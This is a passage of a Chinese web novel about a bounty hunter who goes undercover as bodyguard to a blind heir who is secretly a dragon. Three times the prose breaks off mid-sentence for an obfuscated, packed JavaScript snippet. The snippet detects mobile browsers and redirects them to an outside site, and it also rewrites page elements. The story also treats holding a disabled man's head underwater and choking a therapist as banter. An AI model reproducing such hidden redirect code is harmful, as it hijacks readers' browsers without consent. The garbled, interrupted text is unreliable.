《喜欢一个人就会为他生蛋》 1. 新委托 “齐队,目标躲进了废弃的厂房。里面囤积的燃料,一旦打偏了,可能会引起爆炸,人质也会保不住。” “奶奶的,我们是赏金猎人,又不是警察,管人质做什么,把这地儿炸平得了。” 一旁穿着黄绿色吉利服涂得大花脸的蒋得镖骂了一声,不耐道。 刚刚说话的蒋胜宇放下枪踹他一脚:“咱队有迟哥一个阎王就够了,还轮不到你当。” 才说完,两人忌惮地看向队长齐镇。 齐镇蹙眉:“迟郁呢?” “呃……迟哥他……” “在,说。”通讯器里传来一道慵懒的声音,带了丝桀骜不驯。 伪装的五人似乎习以为常。 齐镇问:“有把握一击即中吗?” 话音才落,通讯器里传来一声轻笑,紧接着枪声响起。 视野里,歹徒额头炸开一朵血花,缓缓向后栽倒。 “搞定。” 通讯器里,男人清晰短促地交代。 厂房里的人质开始尖叫着四散奔逃。 “啧啧,正中眉心。鬼吧他是。” 蒋得镖望着尸体,心有余悸地摸了摸自己的脖颈:“还好跟他是队友不是对手。” 森蚺队的几人深有同感地对视。 齐镇突然问。 “迟郁呢?” “哎?迟哥呢?” 蒋胜宇最先看到已经走到落日余晖下的男人的背影,扬了扬下巴。 “齐队,那。” 齐镇太阳穴突突跳,按了通讯器就要发飙,几人赶紧按住他。 “队长队长!迟哥就那样,你还不知道吗?OTHB六冠王,狂惯了,冷静冷静!” “是呀是呀,罚他多吃点咸鸡蛋得了!” 通讯器那头实在太吵。 夕阳下,男人轻“啧”一声,那道穿着吉利服宽肩窄腰的身影终于停下:“还有事?” 齐镇胸膛起伏再起伏。 “有个单人任务给你,位置联络员发你了。” “看到了。” “有一点——” “这次任务,你得光明正大面试进去。” —— 暮春时节,元宅别墅后花园里争妍斗艳开满了鲜花。 大片粉蔷薇顺着米白色的墙壁攀爬向上,和绿叶交织成盎然生机。 花丛小径上,一个皮肤苍白的少年坐在轮椅上停驻着。 少年一双大大的桃花眼,配上浓墨般轮廓清晰的眉毛,漂亮得好似谪仙。 细看,黑曜石一般的瞳孔却蒙了尘,灰蒙蒙的,不聚焦。 阳光隔着树影照在少年清隽的面庞上。 “少爷,我推您回去吧?” “不用,我想自己在这边待一会儿。” 护工望着轮椅上男人空洞的眼神,有些犹豫:“可是……” 元起循声望过来,怒视着护工,那双漂亮的眼睛却无法精准锁定对方的瞳孔。 “我现在在元宅也没有自由了吗?” 明知道他看不见,护工还是被他周身的气场震了一下,有些心虚地看了眼花丛。 “那……您先晒会儿太阳,有需要的话叫我。” 元起没有回答,视线缥缈地落在远处的蔷薇丛上。 别墅二楼正在进行一场面试。 “姓名。” “迟郁。” “之前做过相关工作吗?” 坐在欧式沙发上的男人穿着西服,高大的身形和结实的肌肉将衣服绷紧,气场十足。 闻言,他英挺的眉间挤出两道沟壑,单侧唇角缓缓牵起,勾起一丝嘲讽。 “做过?老头,你可能不懂什么叫专业。” 庄管家并不觉得冒犯,只是上下审视了他一圈。 男人深棕色的头发在脑后扎成个小揪揪,左耳戴了一颗幽蓝色的耳钉,五官立挺,黑色的眼睛深邃锐利。 模样出众,气质桀骜。 庄管家缓缓开口。 “你的身体素质和反应能力过硬,但是长相不符合要求。我们招聘启示上写了,要求样貌丑陋。” “不过,我家少爷暂时看不见,只要你能瞒过他你的长相……” 沙发上,迟郁英挺的眉骨轻挑。 他慵懒翘着二郎腿,意有所指地抬手,指了指自己的太阳穴,一派痞相。 “你家少爷,这儿有问题?” 挑衅十足的动作终于让庄管家皱了眉。 迟郁嗤笑:“冒昧问一句,你们招人来干嘛?” 庄管家深吸一口气,似不满他的吊儿郎当。 “照顾我家少爷的日常生活,陪同出席必要活动,贴身保护少爷。非必要活动,尽量阻止少爷出门……” 不等对方说完,迟郁突然阴沉了脸,起身大步流星走了出去。 别墅走廊里。 迟郁含着烟,烦躁地抛玩着打火机,对着电话发火。 “你他妈有病?老子特级赏金猎人,OTBH积分连续六年霸榜第一,你派我来当保姆?” 电话对面的齐镇沉默了一秒,瞬间脑补出迟郁暴怒的脸。 他是协会里出了名的刺头,实力不祥,独来独往,懒得管事。 关于他为什么加入OTBH的猜测众多,却没有一个人知道真正的原因。 齐镇深吸一口气:“……这是总部直派的任务,指明让你去。” 这下轮到迟郁沉默了。 男人胸前紧实的胸肌起伏了两下,压抑着怒火。 齐镇在那边适时游说:“你放心,是块大肥肉,给的酬金是你从前S+任务的五倍。只需要照顾到元氏小少爷痊愈就行了。而且,OTBH不接闲活儿,三个月前鸣蛇实验室的事,可能跟元家有关,总部派你潜进去,肯定是有大用处的。” 迟郁烦躁地扶额,视线恰好从窗口望到下面花丛中停驻的轮椅。 轮椅上的少年清瘦白皙,白衬衫黑色长裤,漂亮的桃花眼空洞地望着前方。 少年似乎倦了,纤长白皙的手指按动扶手上的按钮,操控轮椅向前方驶去。 离他不到两米的蔷薇丛里,一只棕褐色的眼镜王蛇正吐着信子,高昂着的头颅蓄势待发。 久等不到迟郁的回复,齐镇不确定地喊:“迟郁?” 迟郁“啧”了一声,右手已经撑上窗台。 “知道了。” 话音刚落,他手下用力,利落地从二楼窗户翻了出去。 耳边的风声呼啸而过,尔后是大片蔷薇枝折断的声音。 迟郁像是离弦之箭扎进丛里,黑色皮鞋精准踩在毒蛇高昂的头上。 半软不硬的触感被他踩实进泥土里。 他半蹲着,丝毫没有松懈,从腰际抽出匕首,沿着鞋后方将蛇身利落割断。 这才抬头看向轮椅上的人。 对方原本落在按钮上的手此刻攥拳至胸口,惊慌且防备。 他眼睛很大却不聚焦,望着他的方向,茫然而空洞。 少年皮肤很白,头发黑亮,长相堪称漂亮。迟郁看愣了一秒。 “少爷,你没事吧?” 庄管家匆匆赶了过来,没在元起身上看到明显伤口,略微松了口气。 迟郁站起了身,庄管家的视线落在他手中一米多长的蛇身上,因为神经反应还在蠕动挣扎。 “园子里怎么会有……” 迟郁没有理会,鹰一般锐利的视线锁定在不远处走来的护工身上。 护工瞬间转身就要跑。 迟郁轻勾了勾嘴角,抓着蛇的尾端像是甩鞭子一样,径直把一米多长的蛇扔到了护工身上。 那蛇身径直盘在护工脖颈上,带着弹跳。 护工尖叫一声跌坐在地上,惊恐地拨开,才发现蛇是没有头的。 他脸色苍白,当即对着庄管家和元气的轮椅疯狂磕头。 “庄管家……元少爷……求求你们放过我,我没有办法,有人用我弟弟威胁我,让我放进来的……他们说只是会致人昏迷,不会死的……” 轮椅上的少年冷冷听着,似乎与他无关。 “李顺意,元家和少爷待你不薄。” 庄克皱着眉,而后仰头看向迟郁。 “你被录用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325681|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “不包售后。” 迟郁不屑地耸肩,轻嗤:“再说,我可没答应……” 另一道清冷的声音同时响起:“我不需要保镖。” 迟郁话音一顿,低头看向轮椅上的少年,那张漂亮的脸上拒绝的意味也很明显。 头一次,他被雇主嫌弃了。 头顶传来男人低沉的声音,带着切齿笑意。 “我答应了。” 元起皱了眉,顺着对方惹人生气的声音抬头,眼前只有灰蒙蒙的轮廓,什么都看不清。 他深吸一口气,收回视线,径直按动扶手上的按钮,轮椅缓缓向前驶去。 迟郁挑了挑眉,望着轮椅驶离的倔强背影。 有点意思。 “你家少爷叫什么?” “元起。” “照顾日常的具体范畴是什么?陪吃陪睡?” “……不需要。”庄管家额头突突跳动,“少爷饮食起居由我负责。你的房间在少爷隔壁。日常的话,少爷每天上午有三个小时的康复训练,需要你协助。还有,少爷每天需要泡2小时的温泉,这个需要你全程陪同,温度要严格控制在39度以内,千万不能高了。” “两个小时?” 迟郁嫌恶地皱眉:“他有洁癖?” 还要控温。 男人嗤笑。 “我只有炖鱼的时候会考虑温度。” 庄管家额头突突跳动,接着嘱咐。 “还有,少爷如果发烧的话,要确保他周围没有任何人——包括你在内。第一时间联系我。” 庄克瞥他一眼:“原因你不需要知道。” 迟郁才张嘴,闻言漫不经心地改用舌头顶了顶腮:“行,还有没?” 管家摇头:“其他时间,你可以自由活动。” 迟郁点头。 “我有一个问题。为什么非得说我丑?你家少爷有恋丑癖?” 庄管家满脸震惊,胸膛起伏了好几下才按捺住表情。 “这个你……” “也别问是吧?行。”迟郁气笑了,长腿一迈,刚要走,又被庄克喊住。 “记得洗手换衣服,少爷不喜欢脏东西。” 迟郁垂眸看一眼自己沾了蛇血的手和衬衫,挑了挑眉,左手作手枪状点了点自己的太阳穴,再度做出那个“他这儿有问题吧”的表情。 庄克:“……” 男人转身,晃荡着走远。 * 木质地板上,相片和收纳盒散落了一地。 这是元起看不见的第三个月。 也是他腿站不起来的第三个月。 三个月前,他还是一个拿着相机满世界跑的摄影师。 即便家族里的长老的眼线看管得严,他还是能想方设法出逃,跑不了就飞,飞不了就游。 他是一条龙。 一条纯种的会化形的龙。 上天入地,无人能管束。 可是现在,卧室为了方便他搬到了一楼。 只是想从书桌上拿一下自己雕刻的摆件,却把收纳盒中的东西打翻了一地。 元起垂眸,摊开掌心抓握了一下。 原本超普通人类七倍的视力仅能感知到微弱的光线,连面前的东西是动是静都快分辨不清。 他现在,是个废物。 元家找了保镖随意照看他,元起连带着讨厌起那个不知长相的陌生人。 门蓦地被敲响。 那人没有传出一点脚步声,悄无声息地停驻在门口,静静地不知道看了他多久。 元起警惕地坐直了。 头顶传来男人带着气声的轻笑。 “少爷,该泡澡了。” 低沉,熟悉,惹人讨厌。 元起抓紧轮椅扶手,声带有些紧绷。 “我说了,不需要你……” 对方根本不理会,宽大且有力的掌径直撑住他的腰,似乎惊讶了一瞬其狭窄程度,捏了捏。 元起瞬间炸了毛,疯狂推拒挣扎起来。 下一秒,迟郁稍用力一托,径直将他扛在了肩上。 2. 鸳鸯浴(已修) 血液向大脑飞速冲去。 姿势太过于羞耻。 元起愣了一秒,反应过来后继续捶打男人厚实的肩背。 “你、你快放我下来……” 双腿完全无力,那挣扎于男人而言毫无威慑力。 迟郁肩稍用力,将他往上颠了颠,肩膀抵着胃险些让元起岔气。 “元少爷,我向来不征询雇主的意见。你不如省点力气,少受点罪。” 肩上的人终于安静了下来。 迟郁走得一晃一晃,向着庄管家指过的浴室走去。 浴室位于别墅东南角的最后一个门。 迟郁单手拧开进去,看到里面的构造时,有些诧异地挑眉。 肩上的人再度挣扎起来。 这次,他终于大发慈悲把人放了下来。 元起原本苍白的面色已经涨红,他掩唇呛咳了两声,腿脚没有劲,顺势向下瘫软。 迟郁适时托住了他。 “我当什么澡能泡两个小时,”男人垂眸,笑看因羞愤而红了脸的少年,语调里带着吊儿郎当的笑,“感情少爷泡的是华清池。” 低调的红棕色木门后,有一个巨大的犹如天然温泉一般的池子,上面袅袅飘着一层白色的雾气,配上竹制的淋水设施和蓬勃的植物,宛如仙境,别有洞天。 刚刚咳嗽过,元起白皙清隽的脸颊格外红润。 他拳头抵着迟郁紧实壮阔的胸肌,整个身体忌惮地向后倾,似乎这样就可以避开男人。 这人,实在不按常理出牌。 迟郁注意到他的小动作,无所谓地站直了。 “自己脱,还是我帮你?” 元起本就大的眼睛瞪大更大,看怪物一样看着迟郁,整个人又挣扎起来。 “我不需要你……” 元起语气有些急促。 “你出去!” 迟郁睨了他一眼,抬手就开始解他衬衫衣扣。 小手不敌大掌,元起连挣扎带挠,在迟郁脖颈和手臂上制造了几道红痕,依旧被剥了个光,露出白皙的胸背。 少年的手交叠遮在身前也于事无补,那双蒙了尘的桃花眼泛了水汽,一副被欺负狠了快哭了的样子,好不可怜。 迟郁捏着他的腰,若有所思地向下瞥一眼,嗓音低沉:“裤子……” “……我自己来!” 元起几乎是抢答,精致漂亮的脸蛋缩了缩,似乎怕极了他。 迟郁终于笑了,轻轻将他放在椅子上。 “小孩,早这么乖一点不得了?” “你、你转过去。” “你又看不见,我转没转你怎么知道?” 少年神色一绷,桃花眼中泛着失落,沉默着,缓缓垂下头去。 迟郁耸肩,还是顺从地背过身去。 身后传来窸窸窣窣脱衣服的声音。 尔后是缓缓的入水声。 元起深潜了两秒,浮出水面。 有缭绕雾气遮蔽身体,他略微有了点安全感,又来赶人。 “你可以先出去了。” 迟郁却噗通一声跳下水来。 声音巨大。 少年被溅了一脸水,惊讶地张着嘴,“你”了半天没说出一句话。 温泉水弥漫过来,带着别样的润泽。 迟郁大方开口。 “我不进水,怎么知道温度超没超?” 元起小脸上满是怀疑。 “你能感受得那么精准?” “38度2。”迟郁瞟一眼温度计,分毫不差。 元起轻轻划拉着水,在水里要比岸上更让他有安全感,于是他大着胆子小声嘀咕:“念温度计谁不会。” 毛绒绒的挑衅。 迟郁挑眉。 “哦?是吗。” 下一秒,他按着元起滑溜溜的黑发将他整个身体按进水里。 几秒之后又拉上来,看少年满脸满眼湿意。 “这么简单,少爷怎么不念?” “是不喜欢吗?” 又按下去。 “现在是38度3,少爷,还要我再提示一点吗?” 直到少年小小的呛咳,又在他结实的小臂上挠出交错的红痕。 迟郁终于放过他。 元起当即像被训过的小兽一样往后缩了缩。 迟郁环着手臂靠着温泉池的石壁,轻轻勾唇。 “提醒你一下,小少爷,在我眼里,只有可以完成的任务,以及,可以不择手段完成的任务。所以,我在你身边期间,你最好乖一点。” 原因嘛…… 不用多说,短短几分钟,元起已经领教过了。 元起终于彻底安静下来,和他隔了很远的距离。 隔了一会儿,他忽然开了口。 “庄管家应该说过了,我只找丑的。你……丑吗?” 话出口就带了丝迟疑。 迟郁一本正经:“很丑。” “很丑是……多丑。”声音越发的小。 不是很懂恋丑癖的世界。 迟郁抬手摸了摸挺立的鼻尖,低沉的嗓音不自觉含笑。 “大概是,你该庆幸自己看不见的程度。” 远处的少年终于彻底安静下来。 出了浴,迟郁径直扯过块宽大的浴巾把人裹了裹就抗回了房间。 后背也荣获几道抓痕。 才被放到床上,元起就缩进被窝,防备且愤怒地瞪着他。 迟郁叉着腰。 “小少爷,接下来是我自由活动时间,你要自己待着,还是我帮你叫管家来。” 漂亮的小少年死死抓着被角,像是受了奇耻大辱,又忌惮他的无所顾忌,小声开口。 “你出去。” 迟郁耸耸肩,第一次顺遂了他的愿。 出了大门,迟郁再度审视这座别墅。 整座天虞山都是元家的地盘。 元家别墅占据了天虞山后山,山脚下,汜水河流经而过。 好一个依山傍水。 迟郁用手机拍了几张照片,放大看其中的格局。 自古大宅风水布局都是很有讲究的,元家作为当今世界上数一数二,其家族成员和脉络却十分神秘低调,元宅也选在这样一样远离人群和城市的地方,属实奇怪。 刚刚把照片发送给联络员,手机就收到了新的消息。 [联络员徐舟客:收到。] [联络员徐舟客:元氏一支历史悠久,在几个大变革时期短暂隐匿过,其他时候几乎横跨政商文娱各界,但是族人的具体信息却鲜少有流出。据线人消息,元氏应该跟鸣蛇实验室有很深的联系。] [迟郁:怎么不继续用上个线人?] [联络员徐舟客:被不知道什么东西咬死了,尸体扔在协会门口,算是一种警告。] 迟郁沉默下来。 [联络员徐舟客:元起是很重要的突破口,所以协会这次派了你去。多留意元宅有没有什么奇怪的东西,尤其是隐蔽空间。咬死线人那个……不像是已知的大型猛兽。] 通讯切断,内部所有聊天记录自行销毁。 时间还早,迟郁收起手机望向主楼。 别墅主楼地上一共四层,欧式风格通体米白色,从外看不出什么特别的。 面试的时候已经把二楼扫了一圈,暂无异常。 一楼光大厅就占据了一半,要说最奇怪的,就是元起的“华清池”了。 蓦地想起漂亮矫情的小瞎子炸毛挠人的模样,迟郁捻了捻指尖,回味起他纤盈劲瘦的腰肢的手感。 后背和手臂上的红痕泛着细密痛痒。 迟郁啧一声。得想个办法把他的爪子剪掉。 收回视线,望向主楼和池塘连通的亭台连廊。 大片的竹林过渡之后,蜿蜒进了青灰色的山体。 连廊的尽头有一处若隐若现的山洞般的缺口,被暮春的植物遮掩住了。 迟郁挑了挑眉,元宅四处的监控设施遍布,他第一天来,大白天不好直接过去。 别墅另一侧是二层的副楼,别墅巡守的人就住在那边。 打定主意,迟郁向副楼走去。 值班的是个娃娃脸的年轻男人,叫元宝,一双清澈的大眼睛,说他是未成年也无异。 迟郁一包口香糖就和对方打成了一片。 “迟哥,你以前是做什么工作的啊?” 迟郁漫不经心倚着吧台,状似无意地把整个一楼扫遍。 “猎人。” “啊……”元宝既崇拜又害怕,缩了缩脖子,“那你都猎杀过什么动物?” “野牛,虎,野兔……” 迟郁说着说着,视线落在对面的墙上,精致立体浮雕之上,按照顺序,雕刻了十二生肖,用碧绿的玉石贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325682|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了形状,只有龙的位置是空的,仅有轮廓。 迟郁皱起了眉:“怎么没有龙。” 元宝嚼着口香糖的欢乐面庞一滞,问:“你当猎人这么久,杀过龙吗?” 迟郁摇头。 “对吧,从没有人见过龙。” 元宝的视线望向龙的浮雕,眼底浮现出某种迟郁看不懂的神色。 “龙根本就不存在,也不该存在于这个世界上。” 说完,他回过头来,笑得没心没肺。 “迟哥,庄管家给你分住处了吗?是在主楼还是和我们一边。” 迟郁抬手指了指隔壁。 元宝一脸失望:“噢。那你有空常来找我玩。” 迟郁问:“这边有什么地方是不让人去的吗?” 元宝托腮想了一下。 “也没有吧……哦对了,主楼下边有个地下室。那个不能去。” 他环顾见四下无人,小心凑近压低声音道:“我小时候好奇去过,差点被我爸打死。” 从副楼出来,迟郁用目光丈量了主楼房间的距离和尺寸,然后顺着元宝所指,穿过左边的所有房子,来到了尽头一扇双开实木门前。 他抬手推开了门。 房间四面墙都是通天地的书架,架上分门别类塞满了古今中外的书籍,规模之大,堪比中型图书馆。 分隔区域的博古架上摆放着古董金玉器。 迟郁横扫一遍,停留在一个青铜盘龙香炉前。 香炉的盖子上盘踞着一条栩栩如生的龙,龙头相比其他地方更加光亮。 迟郁右手覆盖上去,果然,香炉底部是粘死的。 他手下用力,顺时针拧了一半。 齿轮摩擦的细微声音过后,身后的书架突然发出隆隆声。 迟郁回头,身后的书架犹如推拉门般让开了一条通道。 一道环形楼梯蜿蜒向下,径直通向深处。 深处昏暗无光,看不出有什么。 走廊隐隐传来脚步声。 迟郁退了回去,迅速将香炉恢复原样。 在门被推开之前,书架严丝合缝地合上。 来人是庄管家。 他看到里面的迟郁,眉头蹙起:“你怎么在这边?” 迟郁一派坦然:“瞎逛,迷了路,就找来了这里。” 庄克环视了一圈,不疑有他:“这里不是你该来的地方。今天少爷好像有点着凉,你睡前盯着点,有发热症状第一时间通知我。” 迟郁点头,在他的注视中走了出去。 卧室里。 元起仰躺在床上。 房间里没有开灯,于他而言,开不开没有分别。 他深吸一口气,想象着自己遨游在大海中的模样。 少年白皙劲瘦的小腹上现出白色的鳞片,吸饱了水,泛着银蓝色的金属光泽。 浴巾之下,白皙修长的腿合拢延长,转瞬幻化出一条巨大的白色龙尾。 上面的龙鳞脱落了大半,露出翻白的皮肉。软趴趴地垂在床尾,一直到书桌。 干涸的鳞片泡过温泉,缝隙间的瘙痒疼痛稍稍得到缓解。 但不管元起怎么用力,那条尾巴像是已经死掉的带鱼,动都不会动一下了。 漂亮的蝴蝶般的尾扇上,一个盆大的伤口,结了难看的痂。 少年抬手遮住脸,发出小小的呜咽。 三个月前,元起在南海救了一名落水的男童,送他回家后突然被一伙神秘人堵了。 他跳入水中,对方的船仍旧紧追不舍。 为了逃脱,元起只好下潜十米,幻化成龙形游走。 谁知,有人埋伏在水中精准狙击了他。 一般的武器是很难穿透龙鳞,更何况,元起是现存的唯一一条纯种龙,有着最为坚硬的龙鳞。 可那武器上好似涂了某种针对龙的生物毒性,轻而易举的穿透了他的尾翼。 元起回头聚水反击,不想溅射出的毒液顺着水流涌进眼睛里。 量不大,但是他的眼睛却看不见了。 毒素顺着伤口蔓延全身,元起彻底失去知觉向下坠去。 是元家的人找到了他。 前两个月他一直以龙形的姿态昏迷,近一个月才能变回人形,腿和眼睛却没能恢复。 门蓦地被推开,元起惊得坐起,慌乱地蹭了蹭眼角的湿意,倏地收起尾巴。 3. 我的少爷(已修) 迟郁站在门口,月光下,他只瞥到床尾的被子像被风掀动了一下,归于平静。 奇怪的是,房间里并没有开窗。迟郁拧眉,合上门大步流星走了过来。 床上的少年正紧闭着双目,睫毛在月光下微微震颤着。 迟郁俯身去拉高他的被子。 那双漂亮的眼睛倏地睁开。 元起紧张地攥着被角,清冷的声音带着防备和芥蒂。 “我今天不想听睡前故事。” 迟郁手一顿,笑了:“哦,我的少爷还得听睡前故事。” 元起倏地红了脸,低垂着眉眼咬着下唇不再说话。 迟郁松了手,大喇喇坐在床边。 “说吧,想听什么?” 元起抓着被角,漂亮的脸上一副放弃抵抗的模样。 “你想讲就讲吧。” 迟郁望着那双含着水汽的眼睛,只当他是泡久了脑子进水已读乱回,稍一酝酿,就开了口。 “从前有个猎人,” 卧室的窗户正对着月光,照出掩映在黑暗中的远山。 迟郁视线也随之变得幽深。 “他是整个部落猎人群里的佼佼者,凡是出手,必不走空。弓箭,猎枪,甚至是弹弓,钓竿,他都样样精通。” “有一天围猎一头棕熊的时候,猎人在山洞中捡到一个婴儿,不顾族群的反对,把那孩子带回家抚养长大,教给他狩猎技巧。” 床上的人抓着被角安静听着,伴随着微风声,是他放得更轻的呼吸声。 “那孩子渐渐长大,也成了有名的猎人,从野兔到熊、虎、鳄鱼,都单独猎杀过。两人相依为命,日子就这么过着。” “一天,部落里忽然闯进来一伙人,他们说湖里有个‘大货’,以小猎人为要挟,带走了老猎人。整整两年过去,小猎人长大成人也再没等到他,部落的人都说他死了。” 许久没等到下文,元起忍不住问。 “那后来呢?” “后来?”迟郁嗓音里带上低沉笑意,“小猎人不甘心,走出了森林,踏上了寻找老猎人的路。” “然后呢?” “还然后,”他蓦地掀起薄被盖住了元起的脸,“没有然后了。元少爷,听过《一千零一夜》没?我得靠着这个故事拖到你痊愈保住我的饭碗,怎么可能一次性讲完?” “而且,说了不听睡前故事的是你,现在要听的也是你,有没有人说过,你挺难伺候?” 《一千零一夜》元起没听过。 他的故事,元起也是第一次听。 元起缓缓掀下薄被,脸涨了个通红。 他低垂着眉眼,小声道:“你的故事,跟别人的不一样。” “故事跟故事当然不一样。”迟郁探了探他的额头,确认没有发烧,起身,望着床上明显乖顺的人。 “好好睡觉吧少爷,明天见。” 第二天,天才蒙蒙亮,迟郁就靠着生物钟起床了。 他借着锻炼的机会上后山跑了一圈,顺手丢了几个微型红外扫描仪,尤其是那个山洞。 确认徐舟客那边能接受到数据后,迟郁返回了别墅。 一路上碰到不少保安园丁后厨人员,迟郁自认见多识广,但还是这么集中的一次性见到这么多长相奇怪的人。 上岗第二天,确诊了雇主有恋丑癖。 元起正坐在开放式餐厅吃早餐。 迟郁回房前忍不住多看了一眼餐桌前漂亮除尘的少年。 嗯,不理解,尊重。 再出来时,元起已经吃完了,正在露台闭着眼睛晒太阳。 迟郁靠近,罕见的,少爷居然和他打了个招呼。 但也仅限于打招呼。 元起想起昨晚迟郁未讲完的故事,那股抓心挠肺的感觉再度涌上心头。 不得不说,他对这个新任保镖有了一丝好感。 九点,医生上门给元起做复查。 他拿着眼底镜仔细照过元起的眼睛,无声叹息。 检查腿的时候,医生指挥迟郁托住元起的上半身,让他试着用自己的力量最大程度地移动自己的双腿。 迟郁以为元起还要抵触一阵,没想到他出奇配合。 元起抓着他的手臂,抿着唇,发力地挪动自己的腿脚,左右腿各迈出一步,不足30厘米,却已经用尽全力。 少年白皙的额头上冒出一丝薄汗,他终于卸了力,被放回轮椅上时,小声对迟郁说了声“谢谢”。 一旁的庄管家递上擦汗手帕。 医生低头在病历上书写着什么。 元起犹豫地问:“吴医生……我的腿和眼睛,还有恢复的可能吗?” 不等吴医生开口,庄管家就抢了先。 “少爷,吴医生上次检查就说过了,您肯定会恢复如初的。” 说完,他对着吴医生使了个眼色,吴医生刚拿起病例,话到嘴边拐了个弯。 “是啊,元少爷,您的腿和眼睛没有器质性病变,肯定能恢复的。” “那需要多久恢复。” 元起并不好糊弄。 吴医生脸上的笑意收起,望着病例,又是无声叹气。 “您现在看不见还有站不起来,主要是某种生物酶造成的神经递质紊乱,因此腿部神经和视觉神经无法正确感知。理论上,如果能注入溶解或者中和这种酶类的物质就可以迅速恢复。或者,等身体自然代谢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325683|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自然代谢需要多久?” “三到五年。我们上次送检了这种酶类,它的失活速度很慢。” 满屋的人陷入了沉默。 吴医生再度开口:“这是一种针对你体质的酶,如果能知道它是如何提取制作出来的,也许就可以培育出解药针剂。鸣蛇那边……” 迟郁敏锐捕捉到“鸣蛇”二字,依旧保持着低垂着头的模样。 庄管家咳了咳,打断了吴医生的话。 他转向迟郁,礼貌且客气地开口。 “迟先生,能不能麻烦你先回避一下。” 元起仰头望向他的方向。 迟郁点点头,大步走了出去,带上了门。 走廊尽头,迟郁望着远处的山上被风吹动的树叶和草丛,口袋里的手机震了震。 是徐舟客的内线消息。 [联络员徐舟客:迟哥,你猜猜红外探测仪检测到了什么东西。] 联络员很少说这种废话一般的东西。 迟郁皱了眉,并没有回话,而是等待他的下文。 不一会儿,新消息弹了出来。 [联络员徐舟客:你见过最离谱的物种是什么?] 认识五年,这还是他第一次这么长篇大论的废话。 迟郁的眉头皱得仿佛能夹死苍蝇。 [迟郁:鬼。] [联络员徐舟客:???真有鬼啊?] 迟郁可以说是耐心尽失。 [迟郁:没有,所以没见过。] 这世上哪有什么离谱的事。 不过是人装神弄鬼罢了。 [迟郁:你到底想说什么?] [联络员徐舟客:你相信世界上有龙吗?] 迟郁盯着这八个字足足有一分钟,下一秒,反手点了举报。 [森蚺队迟郁举报您工作时间扰乱同事,已介入人工受理。] [森蚺队迟郁举报您散布不实言论,已介入人工受理。] [联络员徐舟客:……] 眼看着消息栏消息被清空,那边足足安静了五分钟。 迟郁望着远处被阳光镀上一层金光的云,很长的一条,徐舟客那句话在脑子里挥之不去。 诊室门被推开,庄管家寒暄着向吴医生道谢。 手机终于再度有了回音,迟郁垂眸瞥了一眼。 [联络员徐舟客:迟哥你!] 他终于切入了正题。 [联络员徐舟客:真的,红外仪检测到的生物,能无翼在天上飞,最大的有十几米长,长角,已知物种根本没有对的上号的。协会的专家初步判定是龙。] [联络员徐舟客:天虞山的传说,你听过没?] 4. 家里寄的 吴医生拎着手提包挥手,下楼前,看了一眼走廊尽头的迟郁。 迟郁收起手机走了过去。 庄管家俯身帮元起整理了下衣服上的褶皱。 “少爷,放宽心。刚刚您也听到了,心情对神经递质的影响也很大。” 元起没有答话,循着脚步声望向迟郁的方向。 庄管家直起了身。 “接下来是少爷的复健时间,理疗师会带他做康复,你需要全程陪着。” 整整三个小时,迟郁扶着元起在理疗师的指挥下借助各种仪器锻炼腿部肌肉。 元起浑身是汗,身上那件手工白衬衫浸透了,隐隐露出腹背纤薄紧实的肌肉。 理疗师也近乎虚脱,结束的时候,像是看怪物一样仰头看了迟郁一眼。 “你不累吗?” 迟郁单手托着元起,摇头。 理疗师喘息着,小声嘀咕:“当保镖也不用这么拼吧……” 迟郁稳稳把元起放在轮椅上。 “人丑,不拼不行。” 理疗师瞪大眼睛,视线从男人高大挺拔的身姿,不羁的眉眼,挺翘的鼻梁,扫到他微牵扯的薄唇,以为自己听错了:“你?” 话刚脱口,就被迟郁扼住了咽喉。 理疗师眼睛惊恐地瞪到最大,大气都不敢喘。 迟郁手放到唇前,做了个噤声的手势,在对方猛点头后松了手。 元起看不到,只怕这沉默太伤人自尊,轻声开口。 “他人很好,皮囊是一个人身上最不值得一提的。” 迟郁垂眸,确诊了他有恋丑癖。 不理解,尊重。 理疗师不动声色地后撤两步离开,见鬼一般看着这两个长相出众却双双有病的男人。 康复室瞬间安静下来,只剩下元起的喘息。 明明看不见,他却无比笃定迟郁在以一种玩味的姿态一直盯着他。 于是他问:“……干嘛。” 迟郁轻笑,视线愈发肆无忌惮。 “还以为,少爷很讨厌我。” 元起这才想起自己刚刚无意间说了“他人很好”,登时涨红了脸。 “你是很讨厌!” 迟郁笑的更不加掩饰:“是。” 山里的天气多变,上午还阳光晴朗,傍晚忽然就刮起了大风。 阴沉沉的乌云遮蔽下来,隆隆的闷雷声由远及近。 元起在房间休息。 